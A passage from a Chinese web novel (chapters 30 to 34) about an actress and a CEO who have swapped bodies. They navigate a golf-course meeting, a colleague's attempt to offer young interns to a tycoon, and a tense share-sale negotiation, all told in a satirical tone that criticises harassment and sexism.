沈颐拍拍他的肩,“我不是又给你介绍了许声蕴嘛,虽然不及乔缨有钱,但她家庭条件不错,人长得好看,也很听话不是吗?” “确实,她还不知道我是故意接近她的,那天喝醉酒了我说要和她结婚,她一口答应,还说这是什么先婚后爱。” 傅司宴慢条斯理呷了一口酒,“这才是正常女人嘛,乔缨知道她拒绝的是谁的爱吗?是京圈太子爷的爱!她不干,有的是人干!” 他越说越破防,逐渐激动起来,口不择言道:“一个沈家就是她认知的天花板了吗?” 突然被cue的沈颐呛得咳嗽了一声,作为沈家的私生子,他得罪不起傅司宴,只能尴尴尬尬地站起身,说自己要去上厕所。 他洗完手靠在走廊上,李群突然给他发来一条语音:【你知道这几个小时你脱了多少粉吗?我不管你现在在哪儿、在干什么,你现在立刻马上,去安抚粉丝!】 沈颐烦躁地“啧”了一声,觉得这群粉丝可真不让人省心。 打开微博,凌晨四点依旧有不少死忠粉在替他冲锋陷阵,跟打了鸡血一样和路人大战八百回合,死命维护。 还是和以前一样盲目又好操控。 甚至不用发工资,只要大粉一声令下,她们自发地就开始替自己做数据洗广场,满嘴喷粪地攻击周瑾和乔缨。 唉,也就这点用处了。 沈颐摇摇头,为了鼓励她们继续替自己战斗,他思索半晌,点开粉丝群,发了一句:【晚安,我在。】 刚发出去,身侧的vip包房突然跌跌撞撞跑出来一个男人。 他看上去也不过二十岁出头的模样,身材纤细,长相清秀,衣不蔽体,敞开的衬衫上印着几个鲜红的唇印,几道乌青的指痕隐匿在腰腹处。 男人脸色苍白,嘴唇也毫无血色,哆哆嗦嗦地抖着双腿,扶着墙踉跄地挪向休息间。 包厢内传来一阵哄笑声。 “也太不经玩了,这才哪儿到哪儿,都怪黄总,把人给吓跑了。” “这家店质量不行啊,不像花姐包的那个小明星,在剧组骑了几个月的马,有劲的嘞!” “是姓于吗?” 沈颐眉头一动,好奇地向里看了一眼。 首先映入眼帘的,是几个硕大无比的宝石戒指,在昏暗暧昧的灯光下一闪一闪,让人挪不开眼睛。 视线上移,能看清屋内坐着几位女士,因为保养得很好,看不出具体年纪,但从声音来判断,大概岁数不小。 桌上摆着十几瓶各色各样的酒水,一个钢丝球孤零零地掉在地上,滚到沈颐的脚下。 他抬头,猝不及防和坐在最中间的女人对上了视线,陡然一惊,越看越眼熟。 黄富贵扯开嘴角,向后散漫一靠,饶有兴味地看着他震惊的脸,用一种极其微妙且意味深长的眼神上下扫了他一圈。 屋内几人注意到了她的视线,也纷纷转头看向沈颐。 那些眼神冒犯中又带着审视,让人极为不适的揶揄感,随着视线在沈颐身上游走。 油腻,赤/裸,不怀好意,像是在打量他这件商品的性价比是否足够高。 不像是在看人,更像是在菜市场看一块品质尚好的猪肉。 这种眼神他没在女人身上见过,但在很多男人身上见过,放在互联网上,具体可以简化为某些评论区里几个自以为幽默的狗头。 他心里有种不详的预感。 果不其然,其中一位突然开口喊话:“喂,门口那个,别傻站着了,进来陪我们黄总喝酒。” “我不是干这个的!” 沈颐眉头一皱,虽然情况相似,但他上次和王继盛见面都没现在这么不舒服。 因为王继盛不好那一口,只是在饭桌上灌了他不少酒,几句恭维的话一说,把人哄高兴了,也就松口将资源给了他。 可现在,他不确定自己进去后,是否还有命出来了。 见沈颐站在原地一动不动,说话的那人骂了几句,不满道:“说你呢,是聋了还是哑了?装什么贞洁烈男,大半夜一个人来这种地方,不就是想———” “抱歉抱歉。” 还好傅司宴及时赶了过来,将沈颐护在了身后,赔笑道:“他是我朋友,不是店里的人,让各位美女误会了。” 有人嘟囔一句:“那他杵在门口看什么看,真是扫兴。” 傅司宴语气诚恳:“是小店管理不善,让各位美女不开心了。这样吧,今天的酒水免单,我再送几瓶红酒怎么样?” “我们差你这点钱吗?找几个男模来,要胆子大点的,热情点的,壮一点的,别跟个鹌鹑似的哆哆嗦嗦,看着就晦气。” “好嘞好嘞。” 傅司宴点头哈腰地退了出去,示意工作人员赶紧给富婆们安排上,把沈颐带回了房间。 “谢谢。” 沈颐松了一口气,有种劫后余生的庆幸。 傅司宴卸下笑容,疲惫道:“要不是为了钱,谁想给这帮老女人卖笑……你以后小心点吧,再别和她们碰上了。” 沈颐深以为然,才发现傅司宴手上拿着车钥匙,问道:“你这是要回家了?” “对啊,我叔叔约我上午去打高尔夫,许声蕴知道了,非要跟着去。” 傅司宴苦笑,“我得赶紧回去眯一会儿,洗个澡换身衣服。” 他拿上外套,甩了甩车钥匙,走之前再三嘱咐:“别再去那群人门口晃了啊,之前那个谁,李辰星就是跟了其中一个,结果不安分去招惹同组女演员,被富婆曝了出来,花了好大 一笔钱才压下去。” “行了,别废话了。” 沈颐不耐烦地赶他出门,视线却不自觉往那个房间的方向飘去。 难怪李辰星出道时间比他短,却在短短几年内成了顶流,一直稳稳压他一头。 那如果他也…… 不行,做人要有底线。 但……万一呢? 沈颐看着那间房,心跳如擂鼓,陡然生出一股异样的感觉。 30-40 第31章 第三十一章 读书人的事,怎么能叫抢…… 秦铮坐在出租车上, 没想明白裴砚知为什么和她约在高尔夫球场见面。 好吧,其实能理解,那个球场好像就是裴砚知投资的。 只不过那地方离公司太远, 不通地铁,她的车又送去维修了, 为了赶时间只好打车前往。 本来上班就烦,今天这个司机还是个话痨, 一路上都在和她搭话, 秦铮出于礼貌不得不句句回应。 “最近的天儿可真冷,今年冬天得下大雪吧?” “可不嘛,我家猫都给冻成冻梨了。” “对了,你一般用哪个平台看电视剧啊?我充话费送了个会员,你需要不?” “不了不了, 我一般用澳门新葡京。” “哦哦, 那你最近有啥喜欢的明星吗?” “哈哈,国民女神李若宁, 宅男女神张云畅。” 司机突然转过头,幽幽道:“你好, 能安静一会儿吗?我在跟我对象打电话。” 秦铮:“……” 啊啊啊啊啊啊啊——— 好想死! 她抠抠手掌心, 有一种想从车窗里跳出去的冲动,迎风流泪。 这一场乌龙, 让双方开启了长达半个小时的沉默,直到到达了目的地, 秦铮忙不迭地下了车, 这才松了口气。 走到大门,工作人员早早候在了一旁,简单登记后就开着摆渡车将她送到了约定的地点。 秦铮一下车, 便遥遥看见裴砚知挥动着球杆的身影,非常养眼。 宽肩窄腰翘屁股,风骚的袖箍禁锢着贲张的肌肉,修身西裤妥帖包裹着长腿,一举一动都有种撑爆的量感。 等等,不对劲。 这人为什么要穿西装来打高尔夫?不勒得慌吗? 欣赏帅哥的心思被满腹的疑问覆盖了去,秦铮不确定地上前几步,试探道:“裴、裴总?” 在秦铮说话的瞬间,乔缨正挥臂打出了一杆。 草皮随风翻飞,她把手放在眼睛上作眺望状,神情认真,看起来像是沉浸在运动的快乐中,陶醉无比。 兀自看了半晌,乔缨眨了下干涩的眼睛,感觉有些不对劲。 球呢? 突然间,她福至心灵,低头一瞅———果不其然,那颗球还停在原处,分毫未动。 旁边的地皮倒是被她锄了二亩地,中间那一块光秃秃的,像是中年男人的地中海头顶。 “哈……裴总力气挺大的哈……” 秦铮替人尴尬的毛病又来了,对于这杆球,她无论如何都夸不出口,绞尽脑汁才想出来这么个找补的角度。 一生要强的乔缨不肯服输,嘴硬道:“呵呵,今天手感不对,再来!” 她觑起眼睛,摩拳擦掌瞄准了白球,双臂绷直,向下用力一挥——— 然后力没收住,原地旋转三百六十度后,一团硕大的地皮带着球飞了起来,啪唧一下,砸进了背后的湖里。 秦铮看呆滞了,喃喃自语:“这个喷不了,这个老天爷赏地耕。” 旁边的球童发出一声短促的猪叫,然后迅速捂住了嘴,涨红着脸跑去捡球。 有同事过来和她打招呼,寒暄道:“早上好,boss今天进了多少杆啊?” 球童憋笑憋出内伤,小声蛐蛐:“十五亩。” 乔缨双目失神地放下球杆,不敢相信事实,语气低落:“难道这就是我的极限了吗?” 高情商职场人秦铮见状,不得不上前安慰她道:“没关系的裴总,咱们把思维逆转一下,您有没有可能适合去丢铅球呢?” 安慰得很好,下次别安慰了。 乔缨神色颓败,将秦铮请到室内的休息区,拿起策划案看了起来。 秦铮想掏出平板展示一下ppt,打开背包的瞬间,忽然僵住了。 卧槽怎么带成了折叠镜! 幸好她习惯性做两手准备,还随身带了一个闲置的轻薄本,她深吸一口气,打开电脑捋捋思路后,开始阐述: “关于广告,我的构思是拍一个短片,结合代言人和产品的特点,从乔缨的经典角色顾昭入手———” 秦铮按照幻灯片顺序,一帧一帧讲解着大致的分镜处理和剧情设计。 乔缨听得认真。 顾昭是她饰演过的一个知名度很高的角色,因为是色盲,所以眼里总是一片灰白。 所以广告的创意很简单,就是色盲的少女在戴上耳机后终于看见了颜色,难的是表现手法要新颖不落俗套,还要突出产品特性。 虽然商业这方面她知之甚少,不过从专业演员的角度来看,目前这个方案的广告至少镜头调度很专业,还挺有看头。 “不错,这位———”乔缨想说出她的名字,却一下子卡了壳。 因为此前微光和昭星的对接全都是用的职场花名,左一个Lily右一个Marry,她并不知道秦铮的原名。 “我姓秦,秦铮,这是我的名片。”秦铮十分有眼色地递了过去。 乔缨顺手接过,待看清她的名字是哪两个字后,忍不住皱了皱眉,脑子里一些被她忽略的碎片瞬间串了起来。 微光传媒,公司王牌,业务精湛,干练强势…… 眼前这位,难道是原著里副cp的恶毒女配? 老乡见老乡,两眼泪汪汪啊! 乔缨咳了一声,高深道:“秦老师,你是不是有个同事叫许声蕴?” 秦铮一脸懵:“对、对啊。” “实不相瞒,本人略懂一点玄学,我刚刚算了一卦,这人,八字克你。” 乔缨一脸庄重地和她对视,“记得离她远点。” 虽然不明所以,但职场人的条件反射还是让秦铮回了一句:“好的收到。” 乔缨还在继续输出:“咱搞职场斗争也要采用高端一点的方式,研究研究《孙子兵法》之类的。不过你那领导也是个傻叉……对了,你有没有兴趣来昭星工作?” 这问题问得猝不及防,还从没有经历过这么直白的甲方挖人,秦铮一时答也不好,不答也不好。 最主要的是,她既觉得机会难得,又害怕裴砚知对她有所图谋,心怀不轨。 刚见第一面就这么热情,事出反常必有妖。 秦铮始终坚信天上掉不了大馅饼,这也是她活了二十多年甚少踩坑的原因。 “感谢裴总抬爱,有机会的话,我当然愿意来昭星这个大平台工作。” 秦铮想了想,还是实话实说地回道:“只是目前我在微光还有许多项目需要跟进,短时间内很难找到合适的人来接替,所以……” “没关系,相关的职位信息和薪资待遇之后会发到你邮箱,你慢慢考虑。” 乔缨毕竟不是真正的老板,能做的也就是给秦铮一个面试的机会。 众所周知好岗位都不外流,像昭星这种神仙公司,大家更是挤破了头都想进去,要拿到offer可不简单。 尤其是社招,从初入职场算起,得连跳好几级才能够得着门槛。 “好的。”秦铮怔了怔,心生疑惑。 看裴砚知的样子,并不像是她想的那样居心叵测,但他又似乎对自己的情况了如指掌,有种莫名其妙的自来熟。 原著里好像没有这个人物。 难不成,裴砚知也觉醒了? 她惊疑不定地看着对面这人,忽然凑近了些许,神神秘秘吐出了四个大字:“一胎七宝?” 乔缨双目微瞪,瞳孔震颤,神情宛如地下党接头:“影帝娇妻?” 两人对视一眼,异口同声地惊道:“哪里逃?!” 乔缨激动握拳,仰天长啸:“老天奶,原来我不是一个人在战斗!” “好奇怪,既然我不是个例,那乔缨为什么没有觉醒?” 秦铮有些纳闷地自言自语,想喝 口水压压惊。 听到了自己的名字,乔缨笑容苦涩,两手交叉往后脑勺一放,欲哭无泪道:“哦,我就是乔缨。” “啥?!” 秦铮端水的手一抖,音量拔高八个度,眉毛打成了中国结。 水杯里的水泼出去大半,全都洒在了笔记本上。 乔缨眉头一皱,从兜里掏出一团皱巴巴的卫生纸团,塞到秦铮手上。 秦铮再一次呆滞了。 这不对吧?霸总随身携带的应该是做工精致的昂贵手帕,而不是在直播间里两毛钱抢的一包心相印吧? 想起了刚刚乔缨说的话,她小心翼翼地打量着眼前这人,试探道:“所以……你是真的会玄学,然后把裴砚知的身体给抢走了?” “瞎说什么,读书人的事,怎么能叫抢?” 乔缨蹙眉纠正道:“我和他不小心交换了身体,然后就成了这样了。” “这么说,我那天在精神病院,遇到的是裴砚知?难怪他当时一脸看傻子的表情。” 秦铮震惊,顿觉羞愧难当。 这还没跳槽呢,就在未来老板那里丢了个大脸。 “哎呀,没事。” 乔缨安慰她:“我已经给裴砚知建立起了耐受性,现在他对神经病的忍耐度提高了不少,你这都不算啥。” 确实,一般人也做不出穿着西装铲草皮的事情。 这么一想,惨遭乔缨cosplay的裴砚知可比自己社死多了。 秦铮重新打起精神,考虑到既然乔缨本人在这里,不如趁此机会沟通沟通需求。 她将键盘上的水都吸干净,打开文档,快速进入了工作状态。 半小时后,两人商讨完毕,秦铮收起电脑正要起身,一阵脚步声忽然从身后传来。 乔缨拉拉她的衣角,示意她坐下来看好戏。 第32章 第三十二章 “这集我知道,烧仓房嘛。…… 几个西装革履的人走了过来。 在这样专业严肃的场合里, 穿着一身粉色泡泡袖裙子的许声蕴满脸雀跃,看起来格外突兀。 她紧挨着傅司宴,不停打量着四周, 惊叹不已:“司宴,这就是那个京市最大, 会员费要十几万的球场吗?好豪华呀!” 傅南明朝她投去一道视线,转头对着傅司宴意味深长道:“这位是?” 许声蕴赶在傅司宴开口前主动伸出手, 一改轻浮的语调, 落落大方地自我介绍道:“傅先生,您好,我是微光传媒的许声蕴,今天是来和司宴谈工作的。” 她一眼就认出,眼前这个人正是傅氏如今的掌权人, 资本大佬傅南明。 眼睛珠子转了一圈, 许声蕴近一步上前,笑容明媚地对着傅南明大吹彩虹屁:“我很久之前就听闻过您的大名了, 今日一见,您果然和我想象中的一样气度不凡。” 她回忆起昨晚紧急恶补的知识, 冒着星星眼说:“听闻您不仅在商场上叱咤风云, 短短几年便将傅氏集团扩张了数十倍,还十分热心公益。我负责过好几个傅氏相关的项目, 大家都对您赞不绝口,您可是我心中的偶像, 老百姓眼里的良心资本家, 不知道以后有没有机会再和您合作呢?” 一番话说下来,傅南明果然很受用,眼里流露出几分欣赏。 许声蕴勾勾唇角。 没有哪个男人受得了被漂亮女人夸赞, 连傅司宴都是在她的情话攻势下才追到手的。 想起刚接手瑞思创投的项目时,她的方案被傅司宴接连毙了五六次,还不给出任何修改意见。 正在她苦恼之际,是阮绵绵信誓旦旦地站出来安慰,说以她这倾国倾城、祸国殃民的长相,凹凸有致的身材,没有哪个男人看了能把持得住。 阮绵绵一直鼓励她要积极地把性缘关系带入到工作关系中,去展现自己的女性魅力,去依靠美貌来博得职场关注度。 “傅司宴再怎么高不可攀,他也只是个男人,男人都吃这一套。” 这般怂恿的话听得久了,许声蕴也开始相信傅司宴一定是想找个借口见她,才一直故意刁难自己的。 后来的故事发展果然如阮绵绵所料,在她有意无意撩拨了几次后,傅司宴的确按捺不住,直接和自己求了婚。 虽然仓促了点,但她认定傅司宴就是自己的男主角,他们拿的是先婚后爱的剧本。 许声蕴的家庭条件虽然不差,但离傅家还是差了一大截,她迫切地想在傅南明面前留个好印象。 为了让自己看起来不是那种急着上位的女人,她刚才故意不说自己和傅司宴的关系,而是提及了自己的职业,拿工作当作接近的幌子,想以此为契机,融入到傅家的圈子里。 角落里,秦铮听得啧啧称奇。 “这马屁拍的,我还真是自愧不如。” 谁不知道傅氏企业当年是靠卖保健品骗老年人养老金起家的,做公益办基金会也是为了避税,甚至闹出过诈捐洗钱的传闻。 还良心资本家,这都能夸得出口,也不怕遭天谴。 她笃定道:“我要是傅南明,我一定会觉得她是在阴阳怪气。” 乔缨悠悠开口:“你以为他真听不出来许声蕴在编瞎话讨好吗?人家享受着呢。” 在商界混了这么多年,这些男人早就成了老油条人精,他们不仅很清楚许声蕴的想法,还特别喜欢看破不戳破地赏玩打量。 看得出许声蕴在特意强调自己的职业身份,来合理化自己巴结讨好的行为,试图融入傅南明和傅司宴叔侄俩利益深度捆绑的资本阵营。 但真的有用吗? 有钱的老男人,自上而下袒露出来的凝视与玩味,可是怎么藏都藏不住的。 果不其然,傅南明听完她的话,眼神慈爱地说出了一句经典语录:“还从没见过司宴带小姑娘出来玩,难得。” 好一个“玩”字,简简单单一句话便瓦解了许声蕴苦心孤诣打造出的人设,身份也在眨眼间从合作方变成了傅司宴的挂件女伴。 四两拨千斤,尖刻又恶毒。 乔缨歪歪头,用眼神对秦铮示意道:“看吧。” “这集我知道。” 秦铮挑挑眉,语气讽刺:“烧仓房嘛。” 那一头的许声蕴却只是痴痴笑着,似乎对傅南明的话很是受用,沾沾自喜于自己有幸成了霸总的特例。 她对傅司宴打趣道:“你的那些前女友,一个个漂亮得跟天仙似的,她们都没这种待遇吗?你这个渣男。” 傅南明玩味地弯弯嘴角,轻飘飘地评判道:“美则美矣,少了点灵魂,整天只知道吃喝玩乐,不算良配。女人嘛,还是得像声蕴小姐这样的,又好看,又独立,又有智慧。” “哎呀,您说笑了。” 许声蕴一听自己的美貌得到了商业大佬的权威认证,感觉整个人都飘飘然起来。 她有些害羞地谦虚道:“我们广告公司的女孩儿都挺年轻漂亮的,我也就一般啦。” 傅南明笑笑:“声蕴小姐不用谦虚,这容貌姣好也是一种资本啊。尤其对你们公司的男人来说,苦哈哈工作的时候,谁不喜欢身边有个长得漂亮性格又体贴的美女搭档呢,这工作效率呀,不就大大提高了嘛。” 许声蕴深以为然地点点头,自鸣得意的样子倒映在玻璃窗上,看得乔缨和秦铮一阵无语。 她表情喜滋滋的,不知想到了什么,又扬起笑容讨好道:“听说您还未婚,您这样儒雅随和的帅大叔现在最受欢迎了,我们公司的小女孩儿都抢着要嫁给您呢。” 她找出两张照片给傅南明看,“这不,我手底下的实习生小张,还有隔壁组的圆圆,都是您的学妹,一直吵着要来傅氏集团见见本尊。有空我把她俩带来,给您见见?” 傅南明看着照片上稍显 青涩的年轻女孩,明显展露出一丝兴趣。 他正要开口答应,却突然被一道愤怒的声音打断。 “小张和圆圆什么时候说过这话啊?!你把她们当什么了?随时随地都能被你拱手送出去的资源?还是你权色交易的工具?” 秦铮忍无可忍地站了起来,紧攥着拳头,额角有青筋冒起。 老鸨子搁这儿拉皮条呢? 也不看看傅南明都他爹的快五十岁了,一开口就是一股老男人的臭味,熏死人,到底谁在抢着要嫁给他啊? 小张和圆圆这俩小姑娘大学都没毕业,这不是害人吗? “秦铮?你怎么在这里?” 许声蕴惊讶了几秒,随后不屑地哼出一声,高傲道:“她们是没说过,但我相信,一旦她们见到傅总本尊,知道他的身价后,一定会被傅总的魅力折服的。” 怎么越说越荒谬了,许声蕴两只耳朵之间夹的是回族禁忌吗? 乔缨也不可置信地站起身,摘下墨镜鄙夷地看着许声蕴,戏谑道:“许小姐也太高估普通人对权贵的谄媚了吧。” “裴总?” 许声蕴睁大眼睛,没想到傅南明先她一步叫了出来。 他立马上前几步,亲切地握了握乔缨的手,然后一巴掌拍在傅司宴的后脑勺上。 傅司宴从刚刚起就一直低着头,心不在焉地和刚认识的网红主播聊天。 猛然被傅南明一敲,他不耐烦地撇撇嘴角,抬起头面对自家叔叔,又不得不忍着脾气,装作一副乖顺懂事的模样。 傅南明将傅司宴拉到乔缨面前,语气诚恳地赔笑:“我这个侄儿不懂事,上次对裴总多有冒犯,我今天是特意让他来给你道歉的。” 好不容易才打听到裴砚知的行程赶来登门道歉,他拍了拍傅司宴的肩膀,催促道:“愣着干嘛,赶紧把东西拿出来。” 傅司宴这才回过神来,连忙用双手将红酒递了过去,点头哈腰道:“对不起裴总,之前是我有眼不识泰山,说了些胡话,还请您千万别放在心上。” 上次在电梯里时他并没有认出来裴砚知,反而还对他出言不逊,被家里人知道后,给他好一顿教训。 傅氏明年有个项目想找昭星合作,现在正是洽谈的时候,要是因为他得罪裴砚知导致谈判失败,他就别想继续在京市当二世祖混日子了。 乔缨皱了皱眉,没有说话,也没有接过红酒。 像现在这样成为权利中心,享受着所有人恭维讨好的体验,好像也不是很爽,反倒让她有些反胃。 她做不到像许声蕴那样,无比自然舒适地融入这个充满臭味的上层阶级男性群体。 哪怕她现在并不是被凝视的对象。 许声蕴被晾在了一旁,几次想尝试着说些什么,但又察觉到气氛不太对,只能默默在一旁当个陪衬。 “道歉我收下,东西就免了。” 乔缨客气地拒绝了两人,不作多言,只侧身对抱着电脑的秦铮说道:“今天的工作就到这里了,我让秘书送你回公司。” “不用了,不用了。”秦铮张嘴就想拒绝。 “这里打车不方便,你一个人也不安全。” 乔缨一边说,一边迈开步子将她送到高尔夫球车上,完全没管站在原地、风中凌乱的三人。 她简短道:“你回公司后整理整理,我们双方开个会,尽早敲定好,抓紧时间开拍。” 秦铮点头称是,和她礼貌告别。 目送着球车离开的背影,乔缨揉了揉有些酸痛的脖子。 个子高就这点不好,刚刚就低头和傅司宴说句话的功夫,差点给她整出颈椎病来。 今天的日程算是了结了一桩,她让球童把自己送到一间vip室,要了几份甜品,还泡了一壶红茶,悠闲惬意地躺在沙发上晒太阳。 几分钟后,门被打开,全副武装的裴砚知跟做贼似地快速闪了进来。 他摘下墨镜和口罩,缓了缓神,微微喘着气说:“抱歉,路上遇到狗仔,所以耽误了一会儿。” “没关系,我这边也才刚完事。” 乔缨擦擦嘴,从沙发上坐起身,递给他一杯热茶,好奇地问:“不过,你为什么要把王继盛约到这里见面啊?” 第33章 第三十三章 这种设定,就格外想让人逗…… “这里比较安全。” 裴砚知喝了口茶, “而且这间房施工的时候加了一层电磁屏蔽材料,今天刚好可以测测量闻的抗干扰性能。” “你这算什么,现代版以子之矛攻子之盾?” 乔缨笑着接话, 拆开桌上的小盒,从里面掏出一只的耳机。 这还是她第一次见到实物, 左看右看,越看越觉得这玩意儿的造型不像耳机, 像是耳骨环, 小巧精致。 她将耳机戴上,调侃裴砚知:“啥时候再来个工业大摸底,你这点身家估计全都得上交。” “求之不得。” 裴砚知连上蓝牙,清凌凌的女声立即传到乔缨的耳中:“要真是这样,今年的市优秀企业家再怎么着都该轮到我了。” 盯着他颇有怨气的脸, 乔缨一瞬间感同身受了起来, 拍拍他的肩膀,幽怨道:“我懂, 年年有提名,年年被溜奖的感觉, 我懂得不能再懂。” 初入娱乐圈, 谁没做过拿个影后视后一步登天的白日梦,乔缨当然也不例外。 只不过吧, 后来发现这些奖项的可操作性被她低估了不少,含金量倒也没想象中那么大, 也没想象中那么神圣, 渐渐的也就祛魅了。 以现在影视行业的萎靡状态,任凭资本再怎么自娱自乐流水线式造神,观众也不会买账。 这样的环境下, 乔缨反而因为角色好演技好却年年奖项陪跑的人设虐来不少死忠粉,也算是一种因祸得福。 她心态很好地安慰裴砚知:“你还年轻,努努力一定会有的,不要放弃希望。” 裴砚知抿唇,“这话听起来怎么那么奇怪。” 不知道的还以为他是在挂号治疗不孕不育呢。 “今天傅南明带着傅司宴来给你道歉,送了瓶红酒,但我没要。” 乔缨给他说了刚才的事情,后知后觉地一拍大腿,悔恨道:“万一他送的是什么罗曼尼康帝,那我岂不是亏大发了?” “嗯,确实有点可惜。” 裴砚知思忖道:“三百万换傅司宴滚出京市,还是有些不划算,他顶多值二十块,他叔叔顶多值两毛。” “不要虐待老人。” 乔缨忍俊不禁地笑了笑,觉得这些资本家的关系也挺水深火热的。 原著里写的傅司宴玩世不恭但杀伐果决,几年内就坐上傅氏掌权人的位置,人设那叫一个又苏又帅。 然而现实的傅司宴却是个扶不起的二世祖,一门心思全在招蜂引蝶上,毫无商业头脑,做一行亏一行,全靠家底厚撑得起他败家的傻缺一个。 差别太大以至于乔缨一开始并没有把他和原著里的人物联系起来,以为遇到了傅家哪个同名的人。 原著里那些对傅司宴的描写反而更像是傅南明,但从现状来看,哪怕叠加了这么多层言情男主的buff,这人带给她的观感也非常差。 果然,二次元和三次元有壁。 很奇怪的是,相似的条件下,裴砚知却从来不会给她这种不适感。 他就像个AI一样,永远淡定从容,永远情绪稳定,仿佛任何事在他心里都泛不起半点涟漪。 这种设定,就格外想让人逗弄。 每次发完疯被裴砚知扣问号骂,乔缨心里就一阵舒坦。 想到这里,乔缨眨了眨眼睛,坏点子说来就来,转瞬挪到裴砚知身旁,往他没戴耳机的那只耳朵吹了口气。 “裴砚知。” 两股淡淡的香水味交缠在一起,一个冷冽,一个香甜,在鼻尖萦绕,交织缠绕,融为一体。 “你靠过来,我跟你说件事。” 阳光覆在他的侧脸上,笼上一层朦胧的金色,不知是呼吸太痒还是温度太热,白皙的耳尖迅速染上一抹红,神情极为不自在向她这边靠了靠。 裴砚知强 行镇定地咳了一声:“你要说什么?” “你知道吗———” 乔缨再靠近几寸,温热的呼吸轻抚着皮肤上的绒毛,让人浑身酥麻的声音穿过电流,同时从耳机和耳道里传来。 “你知道吗,人类最早酿造葡萄酒的陶罐是在格鲁吉亚首都第比利斯以南的遗址中发现的,距今已经有八千年的历史了哦~” 然后呢? 没有了? 就这? 裴砚知等了几秒,不可置信地转头,控诉道:“你想说的就是这个?” 他难道没手机自己不会百度吗?什么红酒小知识非要挑现在、以这种方式科普? 乔缨笑吟吟地和他拉开了距离,看着裴砚知美丽的脸上左眼皮狂跳,满足地深吸一口气。 爽! 裴砚知深感被戏弄,正要发作,一个服务员敲了敲门,说王继盛已经到球场门口了。 他应了一声,幽怨地盯着面前这位始作俑者,只能作罢。 正事要紧,乔缨敛起笑,从包里拿出一份文件递给他,正色道:“股权转让书我看了,没什么问题,你就照之前合同上写的谈吧。” “不,”裴砚知一口否决,“五百万有些低了,既然王继盛要得急,我们多加点价也无妨。” “好吧,听你的。” 商务谈判还是裴砚知在行,乔缨点点头,目送他出门。 乔缨找服务中心要了杯奶茶,在送餐员奇怪的目光下再度躺上沙发椅,阖上眼皮慢悠悠晒着太阳。 耳机里先是传来脚步声,然后是开门声和拖动椅子的动静,最后王继盛寒暄的声音。 几分钟后,她心里正感叹这耳机抗电磁干扰的能力确实强,这都能听得清楚,忽然听到那头的裴砚知冷冷开口,态度强硬。 “一千万。” “噗!” 一口奶茶喷到沙发椅上,乔缨着急忙慌地掏掏口袋,发现唯一的一包心相印给了秦铮。 她一边手忙脚乱地找来纸巾擦拭,一边低声说道:“你这价喊得也太高了,王继盛能答应吗?他又不是冤大头。” 那可说不定。 裴砚知撩起眼皮,闲闲看着王继盛,朝他竖起一根手指,斩钉截铁道:“一,千,万。” “呵呵,乔小姐可真会开玩笑。” 王继盛皮笑肉不笑地打量着他,语气阴沉:“乔小姐是不是还在怪罪上次从我车里摔出去的事?我那也是急着去开会,没办法。” 这是在威胁乔缨,要是惹他生气了,他会把那天的事情曝出去。 桃色新闻对他这种人来说不算什么,但对于女明星来说,可以称得上是致命性打击。 哪怕当天什么事也没发生,只要他放出消息,稍微编点或真或假的料,自然有人替他们张目 用流言毁掉一个人很容易,毁掉一个女人更容易。 特别是在娱乐圈里,为名为利,没有几个女明星能顶得住这种胁迫。 哪怕一开头再怎么拒绝反抗,最后都会乖乖顺从。 他阴暗地笑着,等着乔缨服软,可对面那人依旧不为所动。 “既然您听不懂,那我换一种方式。” 裴砚知收回竖起的那根食指,然后动作丝滑地举起了中指,微笑道:“一千万。” 碰上硬茬了。 王继盛擦擦额头上的汗,在心里不断盘算。 难道乔缨真不怕威胁? 确实有可能,听说她大学毕业那年,刚复出时就有人提出要包养,想在饭局上对她动手动脚,没想到刚一起身就被凳子拌倒摔在地上,酒瓶碎片扎进大动脉,直到现在还在床上瘫着。 还有上一次,乔盛合刚打了坏主意想把乔缨送给自己当人情,没过几天就被大火烧进了icu,不省人事,生命垂危。 甚至连他自己也差点受到牵连。 前段时间震惊京市的饭店投毒案就牵扯出自己和幕后主使关系匪浅,被请进局子喝了几天的茶,连手里的项目都受到了影响。 难不成,乔缨还真和乔家那小子说的一样? 她身上带了点玄学,八字很硬,和她作对的都会倒霉? 王继盛笑容勉强:“乔小姐,你也知道盛合集团现在的效益不好,要是我不买,你这股份可就砸在手上了。” 这话不假。 房地产市场低迷了这么多年,加上集团内部又管理混乱,内斗严重,没几个正经做事的人,导致投资项目接连流产,杠杆越加越多。 盛合大厦将倾,颓势肉眼可见。 更何况现在乔盛合生死未卜,股价一跌再跌,王继盛就起了低价收购盛合的心思。 要是加上她那百分之五的股份,王继盛便是如今盛合名副其实的大股东了。 他倒也不是脑子抽了非要来接盘,只是因为盛合手里握着的资源太多,从账目上来看,虽然集团已经烂成一坨,但每年的盈利依旧可观。 更何况盛合前些年买了不少地皮囤着,要是其中几个大项目成了,必然能起死回生。 裴砚知当然知道他心中所想,还知道王继盛这些年投资电视剧已经亏了不少钱,急切地想通过扩大投资盘一口气回血。 哪怕有不少人劝他别急着进场都没用,他只当别人没远见。 搞金融出身的男人就是这样,刚愎自用,盲目乐观,看谁都是蠢,看谁都是没见识,就他自个儿聪明高贵。 所以裴砚知很赞同乔缨的看法:金融男都是傻逼。 见他不说话,还一脸气定神闲的样子,王继盛一咬牙,狠下心来,嚷嚷道:“好!我答应你,一千万就一千万!” 裴砚知顺从地拿出改好的合同递给他,经过律师确认,双方愉快地签了字。 耳机那头的乔缨惊掉了下巴,双手合十,连连感叹:“义兄,信女愿意为你塑个金身,摆在佛龛里日日供奉香火。” 目送着王继盛咬牙切齿走远的背影,裴砚知轻轻一笑,站起身的瞬间,却感觉涌出一股暖流,小腹一阵绞痛。 他愣了愣,僵硬地对乔缨说:“我好像……有点不妙……” 第34章 第三十四章 “滚。”“你也滚。”…… “你、你会用这个吗?” 乔缨眼见着裴砚知拿出一片球场厕所里免费提供的卫生巾, 神情紧张地询问。 裴砚知感觉腹部的疼痛逐渐加剧,一手虚弱地撑着墙,咬牙闷声答道:“当然会, 初中帮同桌买过一次,那上面画着示意图, 我拿的时候瞟了一眼。” “好好好,小雷锋。” 乔缨将他扶进卫生间, 关上门板感叹道:“有时候我真挺佩服你的记忆力。” vip室的卫生间足够大, 她听不清里面的动静,便披上衣服下楼,去内部的药店里买了几盒止疼药。 等她再回来时,裴砚知已经躺在了休息室的大床上,双手无力垂下, 表情不怎么安详地看着天花板, 两眼放空。 中午的太阳斜斜照射在他眼皮上,睫毛投下一片阴影, 显得裴砚知的脸色更加苍白了,整个人淡得好像随时要消散了一样。 怎么有点死不瞑目的即视感。 将智能窗关闭后, 乔缨剥开止痛药的包装倒了两粒, 